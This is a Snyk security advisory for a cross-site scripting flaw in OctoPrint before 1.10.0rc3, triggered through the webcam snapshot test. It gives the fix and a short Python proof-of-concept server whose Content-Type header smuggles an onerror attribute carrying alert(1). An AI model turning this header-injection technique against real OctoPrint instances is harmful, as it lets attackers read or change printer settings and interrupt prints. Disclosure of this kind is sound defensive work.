Cross-Site Scripting (XSS) Affecting octoprint package, versions [,1.10.0rc3)


0.0
medium

Snyk CVSS

    Attack Complexity Low
    Privileges Required High
    User Interaction Required

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.04% (9th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PYTHON-OCTOPRINT-6457567
  • published 19 Mar 2024
  • disclosed 19 Mar 2024
  • credit Jacopo Tediosi

How to fix?

Upgrade OctoPrint to version 1.10.0rc3 or higher.

Overview

OctoPrint is a snappy web interface for your 3D printer

Affected versions of this package are vulnerable to Cross-Site Scripting (XSS) due to the misconfiguration of a webcam snapshot URL which, when tested through the "Test" button in the web interface, will execute JavaScript code in the victim's browser during the attempt to render the snapshot image.

An attacker who successfully convinces a victim with admin rights to perform a snapshot test with a maliciously crafted URL could use this to retrieve or modify sensitive configuration settings, interrupt prints, or otherwise interact with the instance in a malicious manner.

PoC

from http.server import BaseHTTPRequestHandler, HTTPServer

class MyHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'image/"onerror="alert(1)"')
        self.end_headers()
        self.wfile.write(b'Ok')

def run():
    server_address = ('', 8080)
    httpd = HTTPServer(server_address, MyHTTPRequestHandler)
    print('Server listening on 0.0.0.0:8080...')
    httpd.serve_forever()

if __name__ == '__main__':
    run()

References